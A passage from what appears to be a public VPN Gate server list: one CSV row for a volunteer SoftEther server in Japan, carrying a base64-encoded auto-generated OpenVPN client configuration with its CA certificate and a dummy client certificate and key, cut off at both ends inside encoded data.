lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn180458260,60.137.146.81,751423,15,193319734,Japan,JP,34,82061195,546520,61478219910203,2weeks,DESKTOP-F22MMOU's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA2MC4xMzcuMTQ2LjgxIDE0MzcNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElS